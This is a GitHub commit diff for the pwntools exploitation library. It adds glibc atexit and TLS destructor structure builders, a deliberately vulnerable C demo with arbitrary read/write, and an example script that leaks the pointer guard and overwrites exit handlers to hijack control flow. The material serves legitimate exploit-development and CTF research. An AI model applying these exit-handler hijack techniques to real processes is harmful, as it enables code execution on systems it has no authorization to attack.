mirror of
https://github.com/Gallopsled/pwntools.git
synced 2026-10-12 02:02:27 +00:00
Add atexit functions for glibc exploits (#2683)
* feat: implement basic Exit* * feat: add docs and doc test to exit func classes closes #2633 #2637 * fix: add missing line; fix doc test * chore: update changelog * fix: remove function signature in docs Sphinx will automatically resolve it via Python code * feat: Add source code refs, fix typos * fix: correct escapes to suppress warning * feat: add implementation of `struct dtor_list` * feat: add exit-handler example * refactor: standardize repr class name * Fix types and docs * Fix links in docs --------- Co-authored-by: Peace-Maker <[email protected]>
This commit is contained in:
@@ -117,6 +117,7 @@ The table below shows which release corresponds to each branch, and what date th
|
||||
- [#2669][2669] asm: try native binutils before fallback architectures
|
||||
- [#2673][2673] Add libc module for libc-related functions
|
||||
- [#2680][2680] Cleanup Python 2 legacy
|
||||
- [#2683][2683] libc: add atexit functions for glibc exploits
|
||||
- [#2687][2687] Add (un)pack shorthands for 40-56 bit numbers `u48()`/`p48()`
|
||||
- [#2699][2699] Fix `tty` and `raw` arguments in `ssh.process()`
|
||||
- [#2682][2682] Fix `server.close()` not closing the listen socket
|
||||
@@ -173,6 +174,7 @@ The table below shows which release corresponds to each branch, and what date th
|
||||
[2669]: https://github.com/Gallopsled/pwntools/pull/2669
|
||||
[2673]: https://github.com/Gallopsled/pwntools/pull/2673
|
||||
[2680]: https://github.com/Gallopsled/pwntools/pull/2680
|
||||
[2683]: https://github.com/Gallopsled/pwntools/pull/2683
|
||||
[2687]: https://github.com/Gallopsled/pwntools/pull/2687
|
||||
[2699]: https://github.com/Gallopsled/pwntools/pull/2699
|
||||
[2682]: https://github.com/Gallopsled/pwntools/pull/2682
|
||||
|
||||
@@ -0,0 +1,72 @@
|
||||
# The prebuilt binary is compiled in Arch Linux with glibc 2.43
|
||||
from pwn import *
|
||||
import shutil
|
||||
import tempfile
|
||||
import os
|
||||
|
||||
context.log_level = 'debug'
|
||||
context.arch = 'amd64'
|
||||
EXE = './vulnerable'
|
||||
t = process(EXE)
|
||||
elf = ELF(EXE)
|
||||
|
||||
# Copy libc so later we can unstrip it
|
||||
libc = elf.libc
|
||||
tmpfd, tmpname = tempfile.mkstemp()
|
||||
print(tmpfd)
|
||||
with open(libc.file.name, 'rb') as f:
|
||||
shutil.copyfileobj(f, os.fdopen(tmpfd, 'wb'))
|
||||
|
||||
libcdb.unstrip_libc(tmpname)
|
||||
libc = ELF(tmpname)
|
||||
|
||||
# Now fetch information
|
||||
# XXX: in my build, the tls variable locates at fs:[-4]
|
||||
t.recvuntil(b': ')
|
||||
tls = int(t.recvline(), 16)
|
||||
info(f'Ready to read pointer_guard @ {tls + 0x30 + 4:#x}')
|
||||
|
||||
t.recvuntil(b': ')
|
||||
handle = int(t.recvline(), 16)
|
||||
|
||||
t.recvuntil(b': ')
|
||||
libc_base = int(t.recvline(), 16) - libc.symbols['puts']
|
||||
info(f'Leak libc_base: {libc_base:#x}')
|
||||
libc.address = libc_base
|
||||
|
||||
t.recvuntil(b': ')
|
||||
chunk = int(t.recvline(), 16)
|
||||
|
||||
# Then read pointer_guard value
|
||||
t.sendlineafter(b'%p', hex(tls + 0x30 + 4).encode())
|
||||
t.recvuntil(b': ')
|
||||
guard = int(t.recvline(), 16)
|
||||
info(f'Guard is: {guard:#x}')
|
||||
|
||||
# Next overwrite initial and tls_dtors
|
||||
t.recvuntil(b'%p=%lx')
|
||||
# XXX: dtor_list->map->l_tls_dtor_count need to be dereferenced
|
||||
# on glibc 2.43, the offset is 0x498
|
||||
tls_dtor = glibc.ExitDtorList(handle, guard, chunk, chunk, 0)
|
||||
g_dtor = glibc.ExitFunc(glibc.ExitFlavor.CXA, handle, guard, 0xabcd, 0)
|
||||
g_dtor_list = glibc.ExitFuncList(0, [g_dtor])
|
||||
|
||||
def write_object(addr: int, blob: bytes) -> str:
|
||||
return ' '.join(
|
||||
f'{addr + i:#x}={u64(blob[i:i + 8]):#x}'
|
||||
for i in range(0, len(blob), 8)
|
||||
)
|
||||
|
||||
# Firstly, write glibc initial to overwrite global dtor
|
||||
t.sendline(write_object(libc.symbols['initial'], bytes(g_dtor_list)).encode())
|
||||
# Secondly, write tls dtor
|
||||
t.sendline(write_object(chunk, bytes(tls_dtor)).encode())
|
||||
# XXX: tls_dtor_list must be free-able
|
||||
# XXX: tls_dtor_list is not hard-encoded (in glibc GOT),
|
||||
# on my machine it's fs:[-0x48]
|
||||
t.sendline(write_object(tls + 4 - 0x48, p64(chunk)).encode())
|
||||
# Thirdly, terminate cycle
|
||||
t.sendline(b'x')
|
||||
# Finally, wait for exit
|
||||
t.recvuntil(b'happen:\n')
|
||||
t.interactive()
|
||||
Executable
BIN
Binary file not shown.
@@ -0,0 +1,39 @@
|
||||
#include <stddef.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <threads.h>
|
||||
#include <unistd.h>
|
||||
|
||||
thread_local int x;
|
||||
|
||||
void malicious_handler(void *arg) {
|
||||
printf("Calling handler with %p\n", arg);
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
setbuf(stdin, NULL);
|
||||
setbuf(stdout, NULL);
|
||||
|
||||
printf("Assume you have some way to leak information about TLS: %p\n", &x);
|
||||
printf("Some more information about function to hijack: %p\n", malicious_handler);
|
||||
printf("You can't exploit without glibc: %p\n", puts);
|
||||
|
||||
void *p = malloc(0x500);
|
||||
printf("To continue destructor chain, a forged link_map and dtor is needed: %p\n", p);
|
||||
|
||||
printf("Then you have some way to read/write pointer_guard\n");
|
||||
size_t *where = NULL;
|
||||
printf("Where to read? %%p > ");
|
||||
scanf("%p", &where);
|
||||
printf("Dereferenced value: %#lx\n", where ? *where : 0);
|
||||
|
||||
printf("Now perform arbitrary write ability on hijack exit handlers...\n");
|
||||
printf("Write addresses in pairs: %%p=%%lx\n");
|
||||
size_t value = 0;
|
||||
while (scanf("%p=%lx", &where, &value) == 2) {
|
||||
*where = value;
|
||||
}
|
||||
|
||||
printf("Let's exit to see what will happen:\n");
|
||||
return 0;
|
||||
}
|
||||
+308
-3
@@ -1,8 +1,12 @@
|
||||
"""
|
||||
Some glibc related convenient functions.
|
||||
"""
|
||||
from __future__ import annotations
|
||||
from enum import IntEnum
|
||||
|
||||
from pwnlib.context import context
|
||||
from pwnlib.util.fiddling import ror, rol
|
||||
from pwnlib.util.packing import flat, unpack, unpack_many, _need_bytes
|
||||
|
||||
def ptr_mangle(guard: int, value: int) -> int:
|
||||
"""
|
||||
@@ -56,17 +60,17 @@ def ptr_demangle(guard: int, mangled: int) -> int:
|
||||
|
||||
def protect_ptr(word_addr: int, value: int) -> int:
|
||||
"""
|
||||
Perform ` ``PROTECT_PTR`` <https://elixir.bootlin.com/glibc/glibc-2.42/source/malloc/malloc.c#L331>`__
|
||||
Perform `PROTECT_PTR <https://elixir.bootlin.com/glibc/glibc-2.42/source/malloc/malloc.c#L331>`__
|
||||
in glibc heap macros to protect pointers.
|
||||
``REVEAL_PTR`` is basically ``PROTECT_PTR``, and since we don't know
|
||||
the address of the word, so use ``protect_ptr`` instead.
|
||||
|
||||
Arguments:
|
||||
word_addr(int): The address of where ``value`` is stored.
|
||||
value(int): The value to protect/reveal
|
||||
value(int): The value to protect/reveal.
|
||||
|
||||
Returns:
|
||||
Protected/Revealed value
|
||||
Protected/Revealed value.
|
||||
|
||||
Examples:
|
||||
>>> hex(glibc.protect_ptr(0x5e5555556700, 0))
|
||||
@@ -107,3 +111,304 @@ def reveal_ptr_same_page(ptr_value: int) -> int:
|
||||
ptr_value ^= key >> 12
|
||||
mask >>= 12
|
||||
return ptr_value
|
||||
|
||||
|
||||
class ExitFlavor(IntEnum):
|
||||
"""Enum adapted from glibc ``exit.h``. Check `enum definitions`_.
|
||||
|
||||
Original enums are: ``ef_free``, ``ef_us``, ``ef_on``, ``ef_at``
|
||||
and ``ef_cxa``.
|
||||
|
||||
.. _enum definitions: https://elixir.bootlin.com/glibc/glibc-2.43/source/stdlib/exit.h#L25-L32
|
||||
"""
|
||||
FREE = 0
|
||||
USED = 1
|
||||
ON = 2
|
||||
AT = 3
|
||||
CXA = 4
|
||||
|
||||
class ExitFunc:
|
||||
"""
|
||||
Craft a ``struct exit_function`` object. If user has arbitrary write
|
||||
to libc area and knows pointer guard used in ``PTR_MANGLE``, then
|
||||
the user is able to hijack control flow when process exits. Check
|
||||
`struct exit_function definitions`_.
|
||||
|
||||
Arguments:
|
||||
flavor(ExitFlavor): Which flavor of exit func is registered.
|
||||
func(int): A pointer to function to execute.
|
||||
guard(int): Process ``POINTER_GUARD``.
|
||||
arg(int): Optional. ``onexit`` and ``cxa_exit`` require it.
|
||||
dso(int): Optional. ``cxa_exit`` require it. (dso_handle)
|
||||
|
||||
Examples:
|
||||
>>> context.clear(arch='amd64')
|
||||
>>> glibc.ExitFunc(glibc.ExitFlavor.FREE, 0, 0)
|
||||
ExitFunc(FREE)
|
||||
>>> glibc.ExitFunc(glibc.ExitFlavor.CXA, 0x401f0, 0x13371337deadbeef, 0x238900000680, 0x44008)
|
||||
ExitFunc(CXA, fn=0x401f0 ^ 0x13371337deadbeef, arg=0x238900000680, dso_handle=0x44008)
|
||||
>>> exit_func = glibc.ExitFunc(glibc.ExitFlavor.AT, 0x401f0, 0x13371337deadbeef)
|
||||
>>> exit_func
|
||||
ExitFunc(AT, fn=0x401f0 ^ 0x13371337deadbeef)
|
||||
>>> bytes(exit_func).hex()
|
||||
'03000000000000006e263e7e53bd6f26'
|
||||
|
||||
.. _struct exit_function definitions: https://elixir.bootlin.com/glibc/glibc-2.43/source/stdlib/exit.h#L34-L54
|
||||
"""
|
||||
flavor: ExitFlavor
|
||||
fn: int
|
||||
guard: int
|
||||
arg: int | None
|
||||
dso: int | None
|
||||
|
||||
def __init__(self, flavor: ExitFlavor, func: int, guard: int,
|
||||
arg: int | None = None, dso: int | None = None):
|
||||
self.flavor = flavor
|
||||
self.fn = func
|
||||
self.guard = guard
|
||||
self.arg = arg
|
||||
self.dso = dso
|
||||
|
||||
match flavor:
|
||||
case ExitFlavor.ON:
|
||||
if arg is None:
|
||||
raise TypeError('on_exit requires an arg pointer')
|
||||
case ExitFlavor.FREE | ExitFlavor.USED | ExitFlavor.AT:
|
||||
pass
|
||||
case ExitFlavor.CXA:
|
||||
if arg is None or dso is None:
|
||||
raise TypeError('cxa_exit requires both arg and dso_handle pointer')
|
||||
case _:
|
||||
raise TypeError(f'flavor must be an ExitFlavor, instead of {type(flavor)}')
|
||||
|
||||
def __repr__(self) -> str:
|
||||
match self.flavor:
|
||||
case ExitFlavor.ON:
|
||||
extra = f', arg={self.arg:#x}'
|
||||
case ExitFlavor.AT:
|
||||
extra = ''
|
||||
case ExitFlavor.CXA:
|
||||
extra = f', arg={self.arg:#x}, dso_handle={self.dso:#x}'
|
||||
case ExitFlavor.USED | ExitFlavor.FREE:
|
||||
return f'{type(self).__name__}({self.flavor.name})'
|
||||
|
||||
return (
|
||||
f'{type(self).__name__}({self.flavor.name}, '
|
||||
f'fn={self.fn:#x} ^ {self.guard:#x}{extra})'
|
||||
)
|
||||
|
||||
def __bytes__(self) -> bytes:
|
||||
match self.flavor:
|
||||
case ExitFlavor.ON:
|
||||
return flat(self.flavor, ptr_mangle(self.guard, self.fn),
|
||||
self.arg)
|
||||
case ExitFlavor.AT:
|
||||
return flat(self.flavor, ptr_mangle(self.guard, self.fn))
|
||||
case ExitFlavor.CXA:
|
||||
return flat(self.flavor, ptr_mangle(self.guard, self.fn),
|
||||
self.arg, self.dso)
|
||||
case ExitFlavor.FREE | ExitFlavor.USED:
|
||||
return flat(self.flavor)
|
||||
|
||||
def __flat__(self) -> bytes:
|
||||
return bytes(self)
|
||||
|
||||
@staticmethod
|
||||
def from_bytes(data: bytes, guard: int) -> ExitFunc:
|
||||
"""
|
||||
Construct an ``ExitFunc`` from bytes object.
|
||||
|
||||
Arguments:
|
||||
data(bytes): The bytes object to convert to ``ExitFunc``. Must be aligned
|
||||
to ``context.arch`` word boundry.
|
||||
guard(int): Process ``POINTER_GUARD`` to demangle pointers.
|
||||
|
||||
Examples:
|
||||
>>> context.clear(arch='amd64')
|
||||
>>> guard = 0x2f21c4a298024bcd
|
||||
>>> blob = bytes.fromhex('0300000000000000435ea835ae9aef23')
|
||||
>>> glibc.ExitFunc.from_bytes(blob, guard)
|
||||
ExitFunc(AT, fn=0x555555555119 ^ 0x2f21c4a298024bcd)
|
||||
>>> blob = bytes.fromhex('0200000000000000435ea835ae9aef230000371337130000')
|
||||
>>> glibc.ExitFunc.from_bytes(blob, guard)
|
||||
ExitFunc(ON, fn=0x555555555119 ^ 0x2f21c4a298024bcd, arg=0x133713370000)
|
||||
>>> blob = bytes.fromhex('0000000000000000')
|
||||
>>> glibc.ExitFunc.from_bytes(blob, guard)
|
||||
ExitFunc(FREE)
|
||||
>>> blob = bytes.fromhex('0100000000000000')
|
||||
>>> glibc.ExitFunc.from_bytes(blob, guard)
|
||||
ExitFunc(USED)
|
||||
"""
|
||||
data = _need_bytes(data)
|
||||
if len(data) % context.bytes != 0 or len(data) == 0:
|
||||
raise ValueError(f'data must be aligned to word boundry ({context.bytes} bytes)')
|
||||
words = unpack_many(data)
|
||||
try:
|
||||
flavor = ExitFlavor(words[0])
|
||||
match flavor:
|
||||
case ExitFlavor.FREE | ExitFlavor.USED:
|
||||
return ExitFunc(flavor, 0, guard)
|
||||
case ExitFlavor.ON:
|
||||
return ExitFunc(flavor, ptr_demangle(guard, words[1]), guard,
|
||||
words[2])
|
||||
case ExitFlavor.AT:
|
||||
return ExitFunc(flavor, ptr_demangle(guard, words[1]), guard)
|
||||
case ExitFlavor.CXA:
|
||||
return ExitFunc(flavor, ptr_demangle(guard, words[1]), guard,
|
||||
words[2], words[3])
|
||||
except IndexError:
|
||||
raise ValueError('Insufficient data when decoding ExitFunc') from None
|
||||
|
||||
|
||||
class ExitFuncList:
|
||||
"""
|
||||
Craft a ``struct exit_function_list`` object. glibc has a static variable
|
||||
``initial`` to store most atexit objects and a pointer ``__exit_funcs``
|
||||
pointing to ``initial``. Check `struct exit_function_list definitions`_.
|
||||
|
||||
Arguments:
|
||||
nextp(int): Next ``struct exit_function_list`` pointer on chain.
|
||||
fns(list[ExitFunc]): Registered exit functions
|
||||
|
||||
Attributes:
|
||||
idx(int): Total size of registered exit funcs.
|
||||
(This field is automatically obtained via ``len(funcs)``)
|
||||
|
||||
Examples:
|
||||
>>> context.clear(arch='i386')
|
||||
>>> fa = glibc.ExitFunc(glibc.ExitFlavor.FREE, 0, 0)
|
||||
>>> fb = glibc.ExitFunc(glibc.ExitFlavor.AT, 0x401f0, 0x13371337)
|
||||
>>> flist = glibc.ExitFuncList(0, [fa, fb])
|
||||
>>> flist
|
||||
ExitFuncList(next=0x0, idx=2, fns=[ExitFunc(FREE), ExitFunc(AT, fn=0x401f0 ^ 0x13371337)])
|
||||
>>> bytes(flist).hex()
|
||||
'00000000020000000000000000000000000000000000000003000000268e25660000000000000000'
|
||||
|
||||
.. _struct exit_function_list definitions: https://elixir.bootlin.com/glibc/glibc-2.43/source/stdlib/exit.h#L55-L60
|
||||
"""
|
||||
nextp: int
|
||||
idx: int
|
||||
fns: list[ExitFunc]
|
||||
|
||||
def __init__(self, nextp: int, fns: list[ExitFunc]):
|
||||
self.nextp = nextp
|
||||
self.fns = fns
|
||||
self.idx = len(fns)
|
||||
|
||||
def __repr__(self) -> str:
|
||||
return (
|
||||
f'{type(self).__name__}(next={self.nextp:#x}, '
|
||||
f'idx={self.idx}, fns={self.fns})'
|
||||
)
|
||||
|
||||
def __bytes__(self) -> bytes:
|
||||
func_sz = 4 * context.bytes
|
||||
return flat(
|
||||
self.nextp, self.idx,
|
||||
[bytes(fn).ljust(func_sz, b'\x00') for fn in self.fns],
|
||||
)
|
||||
|
||||
def __flat__(self) -> bytes:
|
||||
return bytes(self)
|
||||
|
||||
@staticmethod
|
||||
def from_bytes(data: bytes, guard: int) -> ExitFuncList:
|
||||
"""
|
||||
Construct an ``ExitFuncList`` from bytes object.
|
||||
|
||||
Arguments:
|
||||
data(bytes): The bytes object to convert to ``ExitFuncList``. Should be
|
||||
large enough to resolve all entries specified by ``idx``.
|
||||
guard(int): Process ``POINTER_GUARD`` to demangle pointers.
|
||||
|
||||
Examples:
|
||||
>>> context.clear(arch='amd64')
|
||||
>>> guard = 0x2d42599562d398bb
|
||||
>>> blob = bytes.fromhex('000000000000000001000000000000000400000000000000845ab66f5e2ad54c00000000000000000000000000000000')
|
||||
>>> glibc.ExitFuncList.from_bytes(blob, guard)
|
||||
ExitFuncList(next=0x0, idx=1, fns=[ExitFunc(CXA, fn=0x7ffff7fcaf60 ^ 0x2d42599562d398bb, arg=0x0, dso_handle=0x0)])
|
||||
"""
|
||||
data = _need_bytes(data)
|
||||
try:
|
||||
nextp = unpack(data[0:context.bytes])
|
||||
size = unpack(data[context.bytes:context.bytes * 2])
|
||||
off = context.bytes * 2
|
||||
func_sz = 4 * context.bytes
|
||||
fns = [ExitFunc.from_bytes(data[off + i * func_sz:off + (i + 1) * func_sz], guard)
|
||||
for i in range(size)]
|
||||
return ExitFuncList(nextp, fns)
|
||||
except IndexError:
|
||||
raise ValueError('Insufficient data when decoding ExitFuncList') from None
|
||||
|
||||
class ExitDtorList:
|
||||
"""
|
||||
Craft a ``struct dtor_list`` object. glibc will invoke functions in it
|
||||
if it's not null when exits. Note that to avoid program aborting, the
|
||||
``ExitDtorList`` pointer must be free-able. Check `struct dtor_list definitions`_.
|
||||
|
||||
Arguments:
|
||||
func(int): A pointer to function to execute.
|
||||
guard(int): Process ``POINTER_GUARD``.
|
||||
obj(int): Argument passed to ``func``.
|
||||
lmap(int): A valid pointer to a ``link_map`` if you want
|
||||
program not to abort. (``func`` is executed first.)
|
||||
nextl(int): Next ``ExitDtorList`` on chain. ``0`` means end of chain.
|
||||
|
||||
Examples:
|
||||
>>> context.clear(arch='amd64')
|
||||
>>> dtor = glibc.ExitDtorList(0x402c0, 0xdeadbeef, 0, 0, 0)
|
||||
>>> dtor
|
||||
ExitDtorList(func=0x402c0 ^ 0xdeadbeef, obj=0x0, map=0x0, next=0x0)
|
||||
>>> bytes(dtor).hex()
|
||||
'00005e7853bd0100000000000000000000000000000000000000000000000000'
|
||||
|
||||
.. _struct dtor_list definitions: https://elixir.bootlin.com/glibc/glibc-2.38/source/stdlib/cxa_thread_atexit_impl.c#L82-L88
|
||||
"""
|
||||
func: int
|
||||
guard: int
|
||||
obj: int
|
||||
lmap: int
|
||||
nextl: int
|
||||
|
||||
def __init__(self, func: int, guard: int, obj: int, lmap: int, nextl: int):
|
||||
self.func = func
|
||||
self.guard = guard
|
||||
self.obj = obj
|
||||
self.lmap = lmap
|
||||
self.nextl = nextl
|
||||
|
||||
def __repr__(self) -> str:
|
||||
return (
|
||||
f'{type(self).__name__}(func={self.func:#x} ^ {self.guard:#x}, '
|
||||
f'obj={self.obj:#x}, map={self.lmap:#x}, next={self.nextl:#x})'
|
||||
)
|
||||
|
||||
def __bytes__(self) -> bytes:
|
||||
return flat(ptr_mangle(self.guard, self.func),
|
||||
self.obj, self.lmap, self.nextl)
|
||||
|
||||
def __flat__(self) -> bytes:
|
||||
return bytes(self)
|
||||
|
||||
@staticmethod
|
||||
def from_bytes(data: bytes, guard: int) -> ExitDtorList:
|
||||
"""
|
||||
Construct an ``ExitDtorList`` from bytes object.
|
||||
|
||||
Arguments:
|
||||
data(bytes): The bytes object to convert to ``ExitDtorList``, whose
|
||||
length should exactly be ``4 * sizeof(size_t)``.
|
||||
guard(int): Process ``POINTER_GUARD`` to demangle pointers.
|
||||
|
||||
Examples:
|
||||
>>> context.clear(arch='amd64')
|
||||
>>> guard = 0xd36a59fe4e9853d8
|
||||
>>> blob = bytes.fromhex('d4a611029a375619000000000000000010915555555500000000000000000000')
|
||||
>>> glibc.ExitDtorList.from_bytes(blob, guard)
|
||||
ExitDtorList(func=0x5555555552d0 ^ 0xd36a59fe4e9853d8, obj=0x0, map=0x555555559110, next=0x0)
|
||||
"""
|
||||
data = _need_bytes(data)
|
||||
if len(data) != 4 * context.bytes:
|
||||
raise ValueError(f'The Length of data is not {4 * context.bytes}')
|
||||
func, obj, lmap, nextl = unpack_many(data)
|
||||
return ExitDtorList(ptr_demangle(guard, func), guard, obj, lmap, nextl)
|
||||
|
||||
Reference in New Issue
Block a user